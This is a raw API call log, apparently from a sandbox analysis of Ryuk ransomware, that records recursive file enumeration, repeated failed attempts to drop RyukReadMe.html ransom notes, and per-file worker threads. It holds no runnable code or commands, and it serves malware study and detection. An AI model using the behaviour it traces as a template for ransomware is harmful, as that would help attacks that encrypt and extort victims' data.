	[0176.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0176.444] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x74, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x74, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x74, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x74, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x74, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x74, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0
	[0176.445] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0176.448] SetLastError (dwErrCode=0x0) 
	[0176.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.460] GetLastError () returned 0x5
	[0176.460] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0176.460] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.460] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x68, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1
	[0176.460] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86a0000
	[0176.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4
	[0176.968] VirtualFree (lpAddress=0x86a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.969] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x68, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1
	[0176.969] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0176.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4
	[0176.971] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1
	[0176.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1
	[0176.973] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1
	[0176.973] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1
	[0176.973] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0
	[0176.973] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0178.497] SetLastError (dwErrCode=0x0) 
	[0178.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msadc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.498] GetLastError () returned 0x5
	[0178.498] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0178.498] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.498] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1
	[0178.498] SetLastError (dwErrCode=0x0) 
	[0178.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.498] GetLastError () returned 0x5
	[0178.498] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0178.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0178.685] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.685] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0178.685] SetLastError (dwErrCode=0x0) 
	[0178.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msmapi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.686] GetLastError () returned 0x5
	[0178.686] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0178.686] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0178.687] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.687] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x76, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1
	[0178.687] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x76, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0
	[0178.687] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0178.687] SetLastError (dwErrCode=0x0) 
	[0178.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.687] GetLastError () returned 0x5
	[0178.688] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0178.688] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.688] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0178.688] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0178.688] SetLastError (dwErrCode=0x0) 
	[0178.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msmapi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.688] GetLastError () returned 0x5
	[0178.689] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0178.689] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.689] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0178.689] SetLastError (dwErrCode=0x0) 
	[0178.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.689] GetLastError () returned 0x5
	[0178.689] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
